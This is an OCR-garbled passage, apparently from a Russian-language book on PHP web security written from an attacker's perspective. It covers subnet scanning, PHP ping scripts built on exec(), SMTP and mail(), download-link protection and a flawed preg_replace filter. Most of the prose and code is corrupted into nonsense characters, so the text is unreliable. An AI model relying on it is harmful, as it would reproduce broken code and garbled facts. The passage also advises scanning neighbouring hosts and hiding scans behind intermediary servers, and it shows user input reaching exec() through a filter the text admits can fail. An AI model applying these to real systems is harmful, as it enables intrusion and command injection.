LeJTBIMUA THATIA30HAMM, W eciu y cepsBepa anpec 110.12.87.21, to BrionuHe joruv-
HO OymeT mnpockKaHMpoBaTh Bce aapeca B auanasoHe or 110.12.87.1 no
110.12.87.254 u nonpo6oBath B3noMaTh HailAeHHbIE KOMMBIOTEPH. BO3MOXHO,
YTO Cpell HUX OKaXKercsi MeHee 3allMIUEHHBIH cepBep, COAepXKAallnil TaKHE e
yyeTHbIE 3aMMUCH, YTO W IS 3allnileHHoro cepsepa. Takoe BeTpevaeTcsi AOCTa-
TOYHO 4YacTo B BOMBIIMX CeTAX, KOraa alMWHUCTPATOPhI YIENsiioT ocoboe BHUMA-
HUE TOJIBKO OJIHOMY-JIBYM CEpPBEpPaM, & OCTAIbHBIE OCTAIOTCH HE 3aLUIIEHHBIMY.

BEITIONHATE CKAHUPOBAHKE CO CBOETO KOMIIBLIOTEPA OMACHO, OTOMY YTO aAMUHH-
CTPAaTOp CeTH MOXET 3aMEeTHUTh MOMBITKY Y3HATh CTPYKTYpY ceTH uepe3 daitnbi
XKypHaioB W 3aHecti IP-anpec B3noMuIMKa B YepHblid criMcok. B ciyuae nponoi-
JKEHHUs MOMBITOK B3JIOMA C 3TOro ajpeca aiMHHHUCTPATOP MOXET CBA3ATLCA C Mpa-
BOOXPAHHUTENBHBIMKM OpraHaMu. OTO HEMPOCTHTEILHO JUISl OMBITHONO Xakepa, no-
9TOMY /ISl CKAHMPOBAHMA CTApAIOTCS MCIOMb30BaTh cepBepa B MHTepHeTe, Yepes
Kortopeie MoXHO Gymer obecneuuts ceGe GesonmacHoeTs. Ho Hamuuue cepsepa He
rapaHTUpyeT AHOHMMHOCTb, HYXHO MPUHATH AOMNONHUTENbHBEIE MEphl, PAcCMOT-
peHHe KOTOPbIX BBIXOAMT 33 PAMKH NAHHOI KHUTH.

V PHP Her MOILUHOTrO cpeicTha Uisi CO3AAHUS YTHJINTBI Ping, HO MBI MOXEM BbI~
3BaTh CHUCTEMHYIO YTHIUTY 4epe3 (pYHKUUIO exec(), system() M ap. B nucTun-
re 5.7 nokasaH nmpuUMep clieHapHs, B KOTOPOM peaiu3oBaHa HeoGXomnumast YTUIINTA.
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<form action="ping.php" method="get">

<B>Beemre uMA wim IP-anpec cepeepa</B>
<BR>Anpec cepBepa: <input name="server">
<BR><input type="submit" value="Ping">

</ form>

<?php
if (!isset($server))

exit;
Sserver=preg_replace("/["*a-z0-9-_\.1/i", "", Sserver);

print ("<HR>Ping server S$server");

exec("ping -c 1 $server > ping.txt", $list);

print ("<PRE>");
readfile("ping.txt");
print("</PRE>") ;

?>

B aTom cuenapuu uepes copmy 3azaercs ums uau IP-ampec HCKOMOro KoMIblo-
tepa. Tak Kak napamerp ¢ anpecom Oyaer nepenaparbesi PyHKUHM exec (), HEob-
XOIMMO Tofymarb O 6e30MmacHOCTH W BLIMOJHWUTb MPOBEPKY HA HEAOMYCTHMbIE
cuMBonel, f B JaHHOM MpuUMepe BCE HEAOMYCTUMOE MPOCTO 3AMEHSIO MYCThIM
CHMBOJIOM.

[lanee BbIMOJHAETCS YTUIUTA ping, KOTOPOif B KayecTBe MapaMeTpa Mepenaercs
—-c W KOJIHYECTBO MMOIMBITOK COEMMHEHMS C CEPBEPOM, 4 Pe3yJbTaT COXpaHseTcesl Ha
ceppepe B (aitne ping.txt. Teneps HOCTATOYHO TOJNBKO 3arpy3uTh COHEPXKUMOE
aiina, 1 Bce roToBo.

[Ipumep peaysnbrata paboTs! cueHapus rokasan Ha puc. 5.4.

B nuctunre 5.8 MOXHO YBHAETh NPUMEP clieHapusl, KOTOPHI cKaHMpyeT auana-
30H 3HayeHwit. B muMcTHHre yrHaMTOH ping ckaHmpylorcs nepsbie 10 ampecos
ykasanHoro [P-aagpeca.
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<form action="ping.php" method="get">
<B>Type server name or IP address</B>
<BR>Server: <input name="server'">
<BR><input type="submit" value="Ping">
</ form>

<?php
if (!isset($sexver))

exit;
$server=preg replace("/["a-2z0~-9-_\.1/i", "", $server);

$i=1;
ereg(" ([0-9]1{1,3})\.([0-9]1(2,3})\.([0-9]{1,3})\.([0-9](1,3})",
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Sserver, Sregs);

while ($i<10)

{
print("<HR>Ping server S$regs(l].Sregs[2].Sregs(3].5%1i");
exec("ping -c 1 Sregs[l].$regs(2].5regs([3].5i > ping.txt", $list);

print("<PRE>");
readfile("ping.txt");
print ("</FRE>") ;

Si4+;
7>

s Toro yToObl MOXHO GBITO M3MEHATH ajapec, OH pazbuBaercs Ha 4YacTH ¢ MMO-
MOLUBIO PErYJSIPHOIO BblpaXeHUsi U (QYHKUUM ereg(). OcranbHoe — [EI0 Tex-
HHKH.

IMepen 3amyckoM cueHapus Ha GOMbIUOM KONWUYECTBE ApecoB yOeauTech, YTO Bhi
MpaBUILHO YyKasbiBaeTe [P-ampec, MHAve BBIMONHEHWE KOMAHIbI MOXET 3aTs-
HyTbCsl. YTHAMTA ping OyIeT cAULIKOM J0JII0 XIATh OTBETA OT HEMOCTYMHBIX HIN
HecyLlecTBYIOLMX aapecoB. YToObl 3TOro HE MPOM3OIIO, MOXHO C MOMOLIBIO
napamMeTrpa yMeHbLINTh BpeMsl oxxuaaHus. Tak kak Mmbl obpaiaeMcsi K CUCTEMHOIM
YTWIWTE, ¥ €€ napaMerpsl (Ha3BaHue W METOI WCNOJIb30BAHMA) MOTYT OTIMYAThCs
B pasHeix OC, To MBI He ByneMm paccMartpuBath 3ToT npuMep. O6parturecs K aii-
J1y TOMOLIM 110 yTHAKTe ping wis pawei OC.

5.9. PaboTta c 3neKTpoOHHON NoYTomn

DJekTpoHHas royta nossunack B MHTepHeTe nepsoil W 3am0/ro Ao NMoABIEHUS
npuBbIYHEIX HaM Web-cTpaHuil. 3a BpeMsl CBOETo CYILLECTBOBAHMS [10YTA JIOCTA-
TOYHO CHJIBHO M3MEHMJIACh, HO NpM ITOM HE MOTepsyia CBoeil aKTYAIbHOCTH M
ucronb3yercs A0 cux nop. Hanpumep, mns MmeHs noyta sBASETCH OCHOBHOWM
cnyx00ii. A TaK Kak ata cnyx6a cBsidaHa ¢ CEeTeBbIM COSAWHEHHEM MeXIy cepBe-
pamu (Web-cepBepoM M MOYTOBBIM CEPBEPOM), TO Mbl 0053aHbI €€ PACCMOTPETh.

IMpn pabore ¢ 3nekTpoHHOIl MouToll ecTh OMpelejeHHbIe CIOXHOCTH, 4 MMEH-
HO — JUIsl OTOPABKH COOOLIEHHS W €ro rnpuemMa MChnosib3yloTcs pasHble MPOTOKO-
net. Uit OTApPaBKM Bbl HNODKHBI MCMojib3oBath nportokosn SMTP (Simple Mail
Transfer Protocol, npocroit npoTokon nepeaayu coobllieHuit), a mist YTEHNsE HAU-
Bosee MoNyAspHLIM HA JaHHBIK MoMmeHT apasierca nporokon POP3 (Post Office
Protocol, oduCHBIH MOYTOBLIH NPOTOKOI).

10 3ax. 1315
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BesonacHoCTh MOYTOBBIX VX0 — 3T0 BooOle OoTAeNbHAS TeMa, M OHA BLIXOLWT
33 paMKH JaHHOIN KHHTH, HO BBl JHOJ/DKHBI YUMTHIBATh, YTO cama ciayxba moxer
6biTh MoaBepkeHa arakam xakepos. Hanpumep, B HanbGosnee nonyjasipHoi mouTo-
Boit cinyxbe mns Unix-cucreM, sendmail, 3a BCio MCTOPHIO €€ cyllECTBOBAHMS
6bU1O HAlICHO CTONBKO ysi3BUMOCTElf, uTo XBaTHT Ha 10 cepBepHBIX MPOrpaMm.

3auem HyxHa noyta Ha Web-caitte? Kak MuHUMYM, OHa TpebyeTcs aisl pac-
ChUIKM HOBOCTEW, Ge3 KOTOpPLIX yXe TPYIHO TMpeicTaBUTh cebe Kakol-nubo
caiit. HeoGxonuMo coobiiarh noab3oBatenssM o COOBITUAX, KOTOpBIE MPOUCXO-
AT Ha cepsepe.

5.9.1. Nporokon SMTP

Haunem paGoTy ¢ mouToit ¢ paccMOTpeHHs! NMPOTOKOAA OTNPABKH COOBIIEHM
SMTP. B peaneHoit XH3HH BaM, CKOpee BCEro, He MPUAETCH HCITONb30BaTh 3TOT
MPOTOKOJI, HO JKEJaTeNbHO MOHUMATh ero. [Jlaxe eciu B si3bIKe MporpaMMMpoOBa-
HHUS €CTh BBICOKOYpOBHEBbIE (DYHKLHMH, KOTOPbIE MPsYYT BCIO CNOXHOCTh MPOTO-
KOJid, 3HAHHE KOMaHA HU3KOro YpoBHSI HHKOTAa HE MOMElIaeT.

Urak, nporokon SMTP ucrnons3yer npocteie TeKCTOBbie KoMaHabl, Kak U FTP.
JocTatouHO TOMBKO NMOAKTIOYUTHCS K HYXXHOMY mopry (mo ymonuanuio SMTP-
cinyx6a paGoraer Ha nopry 25) U OTHPABIATHL cepBepy HEoOXOAUMbIE KOMAHILL.
Her, Bce TOHKOCTH M KOMaHIbl Mbl oBcyXnars He ByaeM, HO npocTeifiuuii aua-
JIOT MEXY KJIMEHTOM U CEPBEPOM YBUIMUM:

220 smtp.aaanet.ru ESMTP Exim 4,30 Wed, 14 Jul 2004 15:20:17 +0400
HELO notebook

250 smtp.aaanet.ru Hello notebook [80.80.99.95]

MAIL FROM:<vasya@pupkin.ru>

250 CK

RCPT TO:<horrific@vr-online.ru>

250 Accepted

DATA

354 Enter message, ending with "." on a line by itself

From: <vasya@pupkin.ru>

To: <horrific@vr-online.ru>

Subject: Tema coofmeHusa

Mime-Version: 1.0

Content-Type: text/plain; charset="us-ascii
310 TecToBOE coobiuenue

Vv VNV VY Y AV AN AN NANY KA

250 OK id=1BkhoA-000EkB-0S

QUIT
221 smtp.aaanet.ru closing connection

AN A VY
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B naHHOM mpumepe CTPOKH, HAYMHAIOIIMECS C CHMBONMA >, oTobpaxaioT uHdop-
Malnio, KOTOpYI0 MBI OTIpAaBisieM CepBepy, a CTPOKH, HAYMHAIOLLHECH C CHM-
BOJIa <, oTobpaxalotT MH(pOpPMaLKIO, KOTOPYIO Mbl nonyyaem. Ha kaxayio KomaH-
[y cepBep OTBEYaeT HaM cooOGlUeHMEM, KOTOpOe HAUYMHAGTCH C YHUCIOBOro KoAa,
orobpaxaiolero craryc BbinongHeHusl. locie 3TOro MIUET TEKCTOBOE OMHUCAHHE
pesynstara. Hanpumep, nocie coeiMHeHus ¢ cepsepoM Mbl nojyyaem ot SMTP-
CEpBepa CTPOKY:

220 MubpopMalmsa © cepeepe

Coobuenus ¢ koaom 220 apnsirores MHGopMmauMoHHbIMK. B naHHOM ciiyyae co-
oblieHne NpUXONMT B OTBET HA MOJAKJIIOYEHHE W, Yallle BCero, rnocjie Koaa couep-
XKUT HH(pOpMAUHKIO O cepBepe, HaNpUMep:

220 your_mail_server.com ESMTP Sendmail 8.9

B nanHom cnyyae Ham coobGuiaercsi, uto ciayxba paboraer nox ynpasieHHEM
nporpaMmMbl sendmail Bepcuu 8.9. B Hacrosiliee Bpemsi yxe Majio KTo coobiiaer
cBOE MMSI M BEPCHIO, JIa MOJb3bl B 3TN WH(MOPMALMU HET HUKAKOI.

Tenepb HEOOXOAMMO MO3IOPOBATECS C CEPBEPOM M COOBLIHTHL EMY CBOE UMs. DTO
Jie/laeTcsl ¢ MOMOILBI0 KOMaH/Ibl HELO notebook, B maHHoMm ciyuae notebook —
MMsl Moero Kommblotepa. Ha 31o cepsep orsevaer coobllieHneM ¢ Koaom 250 u
CBOMM aIpecoM.

Janee nocsutaeMm ampec oTrnpaBuTeNd (MAIL FROM:<vasya@pupkin.ru>) M aapec
nionyyatensi (RCPT TO:<horrific@vr-online.ru>). Ha ofe komanasl cepsep
JIOJDKEH OTBETHTH coobieHusaMu ¢ komom 250,

Tenepp MOXHO COOBLIMTEL CepBepy, YTO JAJblIe CIELYeT TeJso nuckMa. [Lis storo
nocbutaeM komaHay DaTaA. [locne 3TOro HauwHaeTcsl TeMO MUChbMA, B KOTOPOM
criepsa MOET 3arofIOBOK, a MOTOM YXe TekcT coobuieHus. Ha Bce ormpasisieMbie
Tenepb NaHHble cepBep He OyIeT 0TBeyarh, NO3TOMY MOXHO He JOXHIATHCS OTBE-
ta. Teno nmuckMAa 3aBepiraeTcs KOMAHIOH <CR><LF>.<CR><LF> (KOHEL CTPOKH,
nepeBol KapeTkH, ToYKa, KOHEL CTPOKH, repeson kapetku). CepBep AoMXeH HaMm
oTBeTUThL coobuieHneM ¢ koaomM 250. Ho Mbl noka He GyaeM HMYEro 3aBepllarh,
a MOCMOTPHMM, YTO HAXOMUTCA B TEJE.

B 3aronoske MBI CHOBA YKa3kiBaeM azpecara W rojydaresns:
From:<vasya@pupkin.ru>

To:<horrific@vr-online.ru>

Ecnyt muchMO JIOKHO MMETh TEMy, TO 37ech HYXHO TMepeciarTh CAeaylouui
TEKCT:

Subject: Tema nucema

Jlanee HYXXHO yKasath KOAMPOBKY JUIsl TekcTa coobuienus. B naHHoM ciyyae Mbl
3TO AeNaeM Tak:

>Mime-Version: 1.0

>Content-Type: text/plain; charset="us-ascii
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Teneps MOXHO NMOCTPOYHO TEpPeNABaTh TEKCT COOBLIEHUS.
IMocne 3aBepireHus nepenavyd MOXHO BBIXOAUTb M3 CHCTEMBl KOMAHIONW QUIT.

B rtabn. 5.1 mepeumcnesl ocHoBHble Komauasl SMTP-cepsepa, npuMeHsieMbix
JUISl OTMIPABKHM MPOCTOro coobieHusl.

Tabnuya 5.1. KomaHaet SMTP-nporokona

Komanga  Onucauue

HELO WpeHtudbuunpyet none3oearens Ha SMTP-cepeepe. MNocne komaHabl
HELO yKa3blBaeTca UMA NOKANbHOro KoMnbioTepa

MATL Hauvano nepepauu coobiueHus. Halle scero ata KoMaHfa BbiIrnsaguT Kak
MAIL FROM <e@mail.ru>?, rge efmail.ru— 3T0 agpec oTnpasutens

RCET WpeHtuchuuumpyer nonyyartens cooblueHus

DATA Hauano tena coobuierus. MNepenaya aaHHbIX 3asepLuiaeTca nocnenosa-
TENLHOCTLIO CUMBONOB <CR><LF> . <CR><LF>

RSET OTmMeHa BbinonHeHus TeKylleih onepauum

NOOP Ha a70T 3anpoc cepeep NpocTo oTBETUT cooblleHuem OK. 1o Heobxoau-

MO A5l NPOBEPKU CBA3U UNU ANA NPOASIEHUA KU3HU ceaHca. Ecnu B Teve-
HUE OnpefeneHHoro BpeMeH| He NPou3BoAUTL obMeH coobLUEHAMU ¢
CepBepoM, TO CEpBep MOXET padopBaTk coeuHeHue, a 3Ta KomaHaa ro-
3BONIAET NPOAEMOHCTPUPOBATL AKTUBHOCTL. Toraa cepeep cHpocut cyer-
yuk timeout, U BpeMA NPOCTOA HAYHET OTCYUTLIBATLEA C HavYana

QUIT Boixon

HELP MoaBonseT nony4YuTsL Crpasky o AOCTYNHLIX KOMaHgax

[Monuyilo uHdboOpMaUMIO N0 MCMONB3OBAHUIO [POTOKOMA MOXHO [MPOYUTATH
B RFC-821, a HaM D0CTATOYHO W 3TOTO,

[MpocTo pamu TPeHMPOBKM nonpoOyHTe co3aaTh Peanu3allfio OTMPABKH MOYTHI
HaNpsIMyI0 yepe3 MNMOoAKIIOYeHWe Ha MopT 25 W OTNpaBKy HEOOXOAMMBIX KOMAaHI.
V6enurtech, 4To 310 HE caoXHee, YeM co3naHue FTP-kinenra.

5.9.2. ®yukuua mail

st oTIpaBKH AMEKTPOHHONW MOYTHL Wcnojibdyercs (PYHKUMSA mail (), KoTopas
UMEET ClIeayIOIHA BHI:

boolean mail (to, subject, body [extra])

Y GyHKINH ueTbipe napaMeTpa, TPU U3 KOTOPLIX SBASIOTCS 06s13aTeIbHBIMMU:

O anpec sMeKTPOHHON MouTkl momyuarens coobuieHus. Eciu HeobXxoaumo Ha-
PaBUTh NMUCbMO HECKOJbLKUM TMOJyUATENsIM, TO MX aipeca MONXKHbI BbITh me-
peuMcieHEbl B CTPOKE uepes 3anryio;
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O Ttema nucebMma;
O TekcT cooblieHus;

O nornofAHUTENbHBIE 3arofoBKK coobiuenus. [Ipenbiiyuine napaMerpsl No3Bos-
I0T 3a[1aTh TOJILKO OCHOBHBbIE CBOHCTBA NUCbMA, HO UX Belb HamHoro Bosjblie.
HononHurensbHble CBOMCTBA YKA3BIBAIOTCS B IMOCJEAHEM TapameTpe W pasje-
JISIIOTCS. CUMBOJIAMU KOHLIA cTpokK# U nepeBopa kapetku (CR u LF).

B aucruHre 5.9 nokasaH nMpuUMeEp OTMPaBKH COOBGILEHHS ¢ NMOMOLIBIO (PYHKIKM
mail().

<?php
// TIonPOTOBKE NEpPeMEeHHHX
$MailTo = "recipient@mail_server.com";

$MailSubj = "3To Tema coobimeHmna™;

$MailFrom = "your_name@your_server.com'";
§MailCC = "namel@@mail_server.com,nameZ@@mail_server.com";
$Extra = "From: $MailFrom\r\nCc: $Mailcc™;

// OTnpaBka NOUTH

if (mail($MailTo, $MailSubj, "Teno coctuenun", SExtra))
print ('Coobmenne mna $MailTo ypauso oTnpaeBneHo');
else

print('OCmbka') ;

>

Bce rennanbHOe MPOCTO, U B OTIpaBke cooblleHuit abColioTHO HHYEro CoXK-
HOI'o HET.

Ecnu BBl co3faere cHcTeMY pacchUIKM HOBOCTEH, TO Mepen BaMH MOXET BO3HHMK-
HYTh OIHA cepbe3Has mpobiieMa: ecyiid CrUCOK BGOJBIIONH, TO PACCHUIKA MOXET
3aHSTh CAWIIKOM MHOTro BpemeHW. Eciu BBIMONHEHHE cLEHAPHsI HE YIOXHUTCS
B 30 cekyHn (3To 3HayeHHMe YCTAHOBIEHO B KayecTse MAkKCHMyMa IO ymoir4ya-
HUI0), To ero pabora Oyner npeppaHa. Ha npakTHke oKasbIBaeTcs, YTO HPH CHH-
cke pacceiiki B 1000 3amuceit 30 cekyHn He xparaer, 1103ToMy HeobXOAMMO yBe-
JUYHTD BpeMsl BbIMOJHEHUS CLIeHapUsl.

WU3meHATh KOHMUTYpAUMI0 MHTEprNperaTopa B AAaHHOM ciy4ae Gyner He oueHb
Xopowum perteHeMm. Ecnu taiiM-ayT cnuiikoM Gonblioi, To B cuCTEME MOXeT
0KAa3aThCsl MHOTO 3ALMKIMBIIUXCS CLEHApHUEB, KOTopbie GYIyT pacXonoBaTh Mpo-
lieccopHoe Bpems. JIyumuM BapuaHToM OyIeT YBeIMYUTh TaitM-ayT Uil onpene-
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JeHHoro cueHapus. Jng  9TOr0  MOXHO  BOCMONL30BAThCS  (DYHKLIKEi
set_time_out (), KOTOPOH nepegaercs HOBOE 3HAYEHHE TaiiM-ayra B CEKyHmax
IUtst Tekylero cueHapusi. Cnenyrouuit npumep yeraHapausaer TaiimM-ayT B 10 MuHyT:

set_time_out (600)

Ho cnuuikoM GonbLION CHUCOK pAcChUIKM NMPHBOIUT M K elle OfHOM npobaeme:
pacchiika HOBOCTEH — 3aHATHE HE M3 JIETKHUX, MOTOMY YTO MOMWMO MpoLeccop-
HBIX pecypcoB TpebyloTesi u ceTeBbie. B pesynbrate mpoH3BOAMTENILHOCTL CEPBEPA
MOXET cepbe3HO yracTb. Bce pecypehl Bpsidl i BaM yAacTcsl W3pacXoloBaTh, BEdb
OC Unix u Windows siBnsiloTci MHOTrO3aZavyHbIMH, TO €CTh MOIYT BBITIOJHSITh
HECKOJIbKO 3alay OIHOBPEeMEHHO, HO MPOW3BOAWTENbHOCTE obGpabotku Web-
3aMpocoB MOXET YracThb.

Ecnu Baw cueHapuit JOJDKeH peryjisipHO pacchiiaTh 3JIEKTPOHHbLIE MOYTOBBIE CO-
ofuieHust Mo GONBIIOMY CIUCKY, TO MOXHO BBIHECTH PACCBUIKY HA OTAENBHLINA
cepsep. B onpeneneHHbit MOMEHT BpeMEHM CleUMANbHO NpelHa3HaYeHHbIH cep-
BEp JUIS1 PACCBUIKH 3abupaer CHMCOK IMOJb30BaTeNel WIN MOAyvaeT ero ¢ nomo-
1Ibl0 3anpoca K 6ase AaHHBIX U HEMOCPENCTBEHHO PacChiIaeT COOBILEHUS.

5.9.3. CoeguHeHune c SMTP-cepsepom

B paidene 5.9.1 Mbl y3uanu, yro AN ornpasku coobuienHus Heobxoaum SMTP-
cepsep. Ho dyHKumMs mail () He npeaocrasisieT BaM criocoba yKasaHUsi cepBepa,
KOTOPbIi HYXXHO MCIOJNb30BATh VISl OTNPABKH COOBILEHHIt, ¥ MapaMeTpoB JOCTY-
na K HeMy. Bce oyeHb npocto — B pasaene php.ini ects pasmen [mail functions],
TIe HACTPAUBAETCS CepBEp, KOTOPLIl OyleT MCIoNb3oBaTheA LISl OTIPABKK cO0b-
UIEHUIH:

[mail function]

; For Win32 only. (Tomsxo mna Windows)

SMTP = localhost

; For Win32 only. (Tonexo mwia Windows)
sendmail_from = me@localhost.com

; For Unix only. You may supply arguments as well

; (default: 'sendmail -t -i').

; Tonexo mna Unix. Bl MOXeTe Takke YKASATL aplyMeHTH
; (no ymomuauMon MCnoNbSyeTcA koMaHpma 'sendmail -t -1i')
;sendmail_path =

C noMmollb0 NapaMeTpoB SMTP U sendmail from MOXHO 3alaTh Mapamerpsl cep-
Bepa, ecii Bbl paboraere B Windows, a ¢ nmoMoupsi0 sendmail_path 3anaercs
JIOCTYII K MouToBoii cayxbe B Unix.
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B OC Unix caMmbiM NOMyAsipHbIM crmocoboM OTNMPaBKH TOUTHl SIBISIETCA MpPO-
rpamma sendmail. Ho, HecMmoTpsi Ha To, UTO UMsI TIPOrpaMMbl COBIANEET ¢ UMe-
HEM napaMeTpa sendmail_path, Bbl MOXETe YKa3plBarh W JiOGYI0 APYryl Mpo-
rpammy. HMHOe geno, 4To Mo yMONYaHHUIO MCMOJb3YeTcsl JIOKANbHAA MporpaMma
sendmail, ¥ ecii BBl XOTHTE 3TO W3MEHMTb, TO YKAXKUTE MOJHBIH MyTh K HYXHO-
My SMTP-cepsepy. Crenyiouiuii npumep IoKasslBaer, Kak saaarh gmail B kavye-
CTBE MpPOTrpAMMEBI OTIPABKH coobuieHmit:

sendmail_path=/var/gmail/gmail-inject

5.9.4. Be3onacHOCTb 3N1EKTPOHHOMN
NMoOYTOBON CNYyX6bI

Paspabarsias cueHapuii paboTbl ¢ cOOGUIEHHSIMH DAEKTPOHHOMN MOYTHI, HYXHO
ObITh MpeaenbHO aKKypaTHbIM. B oTiinuue ot B3jiomMa camoro cepsepa, cylllecTBy-
€T OMAacHOCTb TOIO, MTO XaKep BOCHOJIL3YETCH BalllUM CLEeHapHeM Ui pacchblUIKH
crnamMa Mo paleMy Xe crnucKy paccbulkd. OmHa Takasi pacchllka MOXET rnocra-
BUTb GONBIION M XUPHBIH KpecT Ha pasBUTHM caiTa ¥ Ha OynylueM Baulero cep-
Bepa. B Hacrosilee BpeMs OTHOLIEHWE K ClamMy HEraTHBHOE, M DONBIIMHCTBO MO-
ceTuTeNIei TaKkoi OWUOKH He NMPOCTHUT.

Y100b!1 O6e30macuTh cebs oT B3noMa, HeobXoaWMo npasuabHO HacTpouTs SMTP-
cepsBep. Ecii OH MO3BOJNSIET OrPaHWYMTH KPYr CHCTEMHBIX MPOrpamMM, KOTOpbIE
MOXHO 3amycTHTh, TO Heobxomumo crenarh 31o. Hanmpumep, B KOHpUTYypaLuu
MOXeT ObITh 3aaH KaTajlor, TaK YTO TOJIbKO MPOrpaMMBbl M3 3TOro KaTtaaora 6yayt
sanyckareesl U3 sendmail. Cneayer Bocmo/ib3oBaTbesl 3TUM T1apaMeTpoM, a B Ka-
YecTBe paspelueHHBIX M0MKHBI OBITH TONbKO Ge3omacHsle MporpaMMbl, KOTOPBIE
HE [MO3BOJAT BIIOMATh UK YHUUTOXMUTH CEpBep.

IMomumo zamure! camoro SMTP-cepeepa, HeoOXOIHMO AKKYpaTHO OGpauiaThes u
¢ noayyaeMbIMH CLieHapueM napametpamu. B pazdese 3.6.2 mbl paccmatpuBanu
PErYJIsSIPHOE BHIPEKEHHE, C NMOMOLIBI0 KOTOPOTO MOXHO NPOBEPHUTDH JIEKTPOHHBIMH
agpec Ha HAIMYME HEIONyCTUMBIX CMMBOJIOB M MCNOJb30BaHME HesepHoro dop-
Mara ajpeca.

5.10. 3awmra ccbinok

O4eHb YacTo ObIBAET HEOOXOAMMO 3AIUMTUTE CCHUIKH, YTOOBI Xakepbl HE MOITIH
CKauuBaTh onpejeneHHsie dainbl HanpaMyio. [ie 370 MOXeT HenosibaoBaThes?
Ionyctim, 4To BBl paspabaThiBaeTe caifT, Ha KOTOPOM pacronaraTces MHCTaMIs-
uMoHHbie (aitnel nporpammbl. Mpu stom daiiiel KoAXKHBI GbITH AOCTYNHBL s
CKAYMBAHKS TOJNBKO IMOJB30BATENAM, MPOLLENIIMM GECIIATHYIO PEerucTpaluio Ha
caiite. iMeeTcst B BULY perucTpalinsg Ha caiite, a He MOKYMKa nporpaMmbl. Takoe
ObiBaeT JocTaro4Ho yacro Ha Shareware-calitax, Benb paspaboTyMKH XOTAT UMETh
uHGOpMALIMIO O IMOJIE30BATE/AX, KOTOPhIE CKAYWBAIOT W UCTIONB3YIOT WX MPOAYKTHI.
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Hawa zagaya — 3aMackupoBarh peaibHblif aapec caiina, utobbl xakep He cMor
oboiiTi perucTpaunio u BeoxuTh npamoii URL-anpec caiina Ha ceoem caiite.

WneansHoro BapuanTa 3ailMThl 51 €llle He BCTpeyasl, H B rOJIOBY HMYEro He Ipu-
xoaut. Maiin eXuUT Ha cepsepe, W Ui Hero ecth onpeneneHHsiit URL, koTopuii
XaKep MOXET OIpeieuTs BO Bpemsi perHcrpauuu. Ha nepBbiif B3rsi, MOXHO
MOJOXUTEL (aitl B nanky, 3aliMIMeHHYI0 maposeM Apache, a naposb BbIIABATDH
TOJBKO IOC/IE PErMcTpalMy Ha cepBepe, HO 3TO pellleHHe TakKxke He sBsieTcs
MJeaibHbIM, MOTOMY 4TO co3iacT npobiaeMsbl 106pONOPSIIOYHBIM MONIb30BATEIISIM,
a Xakepbl M TaK 3aMoMHAT aapec U OYAyT ero UCIOJb30BATh.

Bonee sipexkTHBHOE pellleHHe — Kaxible HECKONbKO JHeit (Hanpumep, pas
B HEe0) U3MEHNITh UMs Qaitia uan ero pacrnojokeHue ciayyaiiHbiM obpasom H
COXpaHATb HOBBIN anpec B 6a3ze gaHHbIX. CaMoMy clleHapH1io HE COCTABNSET Tpyna
MOJYMHUTL HOBBIM anpec 13 Toit xe 0aspl naHHbIX. B 3TOM ciiydae, naxe eciu xa-
Kep MOMECTHT MPsIMYIO CChUIKY Ha cBoeM Warez-caiite, 3Ta ccblika yepes ornpe-
JleJIeHHOe BpeMsi YCTapeeT, W TMOJb30BATENSIM TIPUIETCS PErdCTPUMpPOBATBCS Ha
cepBepe JeraibHbIM obpasoM. MameHeHue daiina ¢ NoMolIbI0 CleHapus He Tak
YK M CJIOXKHO ISl cepBepa, Ho 623 3HAHMUS aNTOPUTMA OYeHb HeyloOHOo UIsl Xakepa.

5.11. PHP B pykax xakepa

B nocnenHee BpeMs s cTan 3aMedarh TEHAEHUWIO, TIPH KOTOPOH MHOTHE alMMHI-
CTPaTOphbl OTKA3BIBAIOTCS OT MCMONbL30OBaHus s3bika Perl Ha coux cepsepax. [lo-
yemy? [eno B Tom, uyto B MHTepHeTe MHOXecTBO cueHapueB Ha Perl, kotopsie
M03BOJISIOT YIIPOCTUTh XaKepy BaJoM ceppepa. /Ui Toro 4robbl BOCMONB30BATHLCS
STHMH CLIeHAPUSIMU, HEOOXOIMMO MMETh MHHMMAIBHBIE TIPABA B CUCTEME.

C npyroii cropoHbl, obiTyer MHeHue, yto PHP Gesonachee. T'nsing Ha pasmep
KHUTH W YYHTBIBAsl, KAK MHOIMO MbI FOBOPHIIK MPoO 6€30MacHOCTh, Bbl MOHUMAETE,
YTO 3TO MHEHHE, MSITKO roBopsl, criopHoe. B peanbHocTH, 11000t A3BIK mporpam-
MHMPOBAHMSI OMACEH B PyKaX HEOMBITHOTO WJIM HEBHHMATEJIbHOIO MPOTPAMMMCTA,
U moboit s3bIK GesonaceH B pykax npodeccuonana, Ho maxe npodeccnonan
MOXeT OLMOUTLCS, U GYKBATBHO HEIAaBHO 4 AOMYCTHJI Takylo owMOKYy B pery-
JIIPHOM BBIPAXKEHUHU:

$var=preg_replace("/["a-z0-9([] -_\n]/i", "", Svar);

JaHHoe BhIpaXeHHe ypanser Bce, KpoMme 6yks, uudp, cMMBONOB [ U ], npobelios,
TUpE, MOAYePKHUBAHUI U CUMBOMIOB NEpeRoaa KapeTku. berblit B3 He NMoKasbi-
BAeT HHKAKUX OLUMOOK, HO eclid MPHCMOTPETLCS, TO OKAXKETCS, YTO CUMBOJIBI [ U ]
SABJISIOTCH CIYXeOHBIMU U OOBLEeAUHSIOT HabGop AoMyCTHMMBIX CHMMBOJIOB, B naHHom
cIyyae B KBaIpaTHbIX CKOOKAX HMYEro HeT, a 3HA4YUT, BHIPAXKEHHUIO [] COOTBETCTBY-
er Joboil cMMBOJI, a 3HAYMT, (YHKUMUA preg_replace() abCONIOTHO HMYEro He
Bouipexet. [Tpobnema periaercs gobapneHueM obparHoro casia:

Svar=preg_replace("/["a-z0-9\[\] -_\nl/i", "", $var);
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Hepenko nporpammucTsl owmnbaiores npu paGore ¢ pycckumu Oyksamu. Eciu
Hamucarb a-=, TO B 3TOT JIMANa30H MonanyT Bece OyKBbl kKpome "€". D1y BYKBY He-
06X0NMMO yKa3blBaTh B SIBHOM BHIE:

$var=preg_replace("/["a-za-a80-9\[\] -_\n]/i", "", Svar);

To, uto Ha sizbike PHP MeHblie nporpaMm-skcIionToB, €le HE 3HAYMT, 4TO
PHP 6GesonaceH. Sl moka He BcTpeuancst ¢ Takoi 3anayeil, KOTopyio Helbad 6610 G5l
peanusoparb B PHP, a ecnu Takas 3agaua BO3HMKAET, TO BCErIa MOXHO BOCIOb-
30BaThesl PyHKUMEH system(), KAK MBI 3TO eNalu B pasdese 5.8 Npu cO3NaHUM
Web-BapuaHta yruaMThl ping.

